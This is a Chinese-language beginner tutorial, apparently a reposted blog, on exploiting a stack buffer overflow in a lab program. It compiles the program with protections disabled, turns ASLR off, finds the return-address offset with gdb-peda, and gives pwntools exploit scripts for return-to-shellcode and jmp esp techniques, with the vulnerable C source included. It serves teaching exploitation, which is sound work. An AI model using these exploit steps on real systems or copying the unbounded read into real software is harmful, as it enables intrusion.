pwn入門實驗1:緩沖區溢出(return2shellcode和jmp esp)


實驗的緩沖區溢出源碼:

// 1.c
#include<stdio.h>
void func()
{
    char name[0x50];//0x100大小的棧空間
    read(0, name, 0x100);//輸入0x200大小的數據
    write(1, name, 0x100);
}
int main()
{
    func();
    return 0;
}

 

x86下無任何防護機制編譯:

gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack -z norelro -no-pie

m32:生成32bit程序需要gcc-multilib(x86機器上編譯不用加)

O0:不進行任何優化

fno-stack-protector:不開啟canary棧溢出檢測

z execstack:開啟棧可執行關閉NX

-no-pie:不開啟pie保護

 

NX:-z execstack / -z noexecstack (關閉 / 開啟)    棧不可執行,使插入的JMP ESP無效

Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (關閉 / 開啟 / 全開啟)  canary棧溢出檢測:在函數每一次執行時,在棧上隨機產生一個Canary值(cookie),往往放置在ebp/rbp的正上方。之后當函數執行結束返回時檢測Canary值,若不一致停止程序運行

ASLR的是操作系統的功能選項,作用於executable(ELF)裝入內存運行時,因而只能隨機化stack、heap、libraries的基址;

PIE:-no-pie / -pie (關閉 / 開啟)  ,PIE是作用於excutable編譯過程的,可將其理解為特殊的PIC(so專用,Position Independent Code),加了PIE選項編譯出來的ELF用file命令查看會顯示其為so,其隨機化了ELF裝載內存的基址(代碼段、plt、got、data等共同的基址)。

RELRO:-z norelro / -z lazy / -z now (關閉 / 部分開啟 / 完全開啟)  設置符號重定向表格為只讀或在程序啟動時就解析並綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。

 

出現問題:fatal error: bits/libc-header-start.h: No such file or directory

原因:64位機子編譯c語言32出現
解決辦法:安裝32位的c語言編譯環境

apt-get install gcc-multilib

 

 

編譯完成后進行實驗前還需要關閉ASLR

判斷ASLR是否打開

cat /proc/sys/kernel/randomize_va_space 
#ldd x #另一種判斷方式 x是程序名,運行兩次,如果兩次libc的基址一樣也說明了主機沒有開啟ASLR

 

ASLR(系統開啟的)

ASLR是一種針對緩沖區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區布局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。

在linux中使用此技術后,殺死某程序后重新開啟,地址換。

在windows中使用此技術后,殺死進程后重新開啟,地址不換,重啟才會改變。

 

以上cat命令輸出的值表示:

0 - 表示關閉進程地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。

 

關閉ASLR,切換至root用戶,輸入命令

echo 0 > /proc/sys/kernel/randomize_va_space

 

 

首先尋找多少字節能溢出切剛好能夠覆蓋return addr。我們使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一個字符串模板輸入后根據EIP來確定覆蓋return addr的長度。

gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

 

然后讓程序跑起來輸入這串字符串后程序崩潰

使用pattern_offset獲取偏移地址

Stopped reason: SIGSEGV
0x41416741 in ?? ()
gdb-peda$ pattern_offset 0x41416741
1094805313 found at offset: 92

 

接下來在棧中部署一段shellcode然后讓return addr的內容為shellcode的地址

 

先查找eip(esp)地址

這里bbbb是eip的位置cccc是shellcode的位置然后運行這個python后程序崩潰我們調試core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。

from pwn import *
io = process("./1")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)
io.interactive()

 

運行python程序后崩潰我們得到core文件,調試core dump(gdb -c core)文件找eip的地址

 

個人理解:x/wx 命令是驗證地址是不是eip。esp是棧頂指針,因為進入了call,ip最后入棧的,所以此時esp中存放着的是eip

 x /4xg $ebp:查看ebp開始的4個8字節內容(b:單字節,h:雙字節,w:四字節,g:八字節;x:十六進制,s:字符串輸出,i:反匯編,c:單字符)

查看fun函數結尾的asm,此處先leave,在ret,驗證了我們的猜想

leave指令是將EBP寄存器的內容復制到ESP寄存器中(此處即為將跳入call前的eip放入到esp中,以便ret彈出)

RET指令則是將棧頂的返回地址彈出到EIP,然后按照EIP此時指示的指令地址繼續執行程序。

 

 

所以我們在填充到溢出的地方后要做的兩件事:

1.將要執行的eip放到原來esp的地址處(放入shellcode的地址)

2.從ret原來的地址放入shellcode

 

得到我們將要寫入的shellcode的地址我們可以寫exp了

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')#arch取決於file查看文件的arch,不是看系統,如果64位就只用amd64
io = process("./2")
payload = 'a' * 92
payload += p32(0xffffd140)#將shellcode地址放入eip中
payload += asm(shellcraft.sh())#寫入shellcode
raw_input()
io.send(payload)
io.interactive()

 

運行exp:

 

 

 

jmp esp

在當前棧空間內進行堆棧清理返回到前一個棧空間時,會將esp指向old esp

如果我們利用棧溢出,將返回地址覆蓋為指令jmp esp的地址,那么在返回到jmp esp指令時,程序在下一步就會跳轉到我們的old esp繼續執行

 

1.查找libc的版本

gdb-peda$ info sharedlibrary
From        To          Syms Read   Shared Object Library
0xf7fd2100  0xf7fef7f3  Yes (*)     /lib/ld-linux.so.2
0xf7de61d0  0xf7f3f71a  Yes (*)     /lib/i386-linux-gnu/libc.so.6  #這里是要的libc庫版本
(*): Shared library is missing debugging information.

 

2.使用編寫的腳本獲取jmp esp的相對libc的偏移地址

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
libc = ELF('./libc.so.6')                           
jmp_esp = asm('jmp esp')                                   

jmp_esp_addr_in_libc = libc.search(jmp_esp).next()          
print hex(jmp_esp_addr_in_libc)

#得到:0x63a1

 

3.獲取libc在程序當中的基址

root@luo-virtual-machine:~/pwm# LD_TRACE_LOADED_OBJECTS=1 ./task1
    linux-gate.so.1 (0xf7fd0000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dc9000) #libc在程序的基址:0xf7dc9000
/lib/ld-linux.so.2 (0xf7fd1000)

 

最后把jmp esp的地址(0x63a1+0xf7dc9000)填入到bbbb中也可getshell

 

 

參考:https://www.anquanke.com/post/id/85138


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM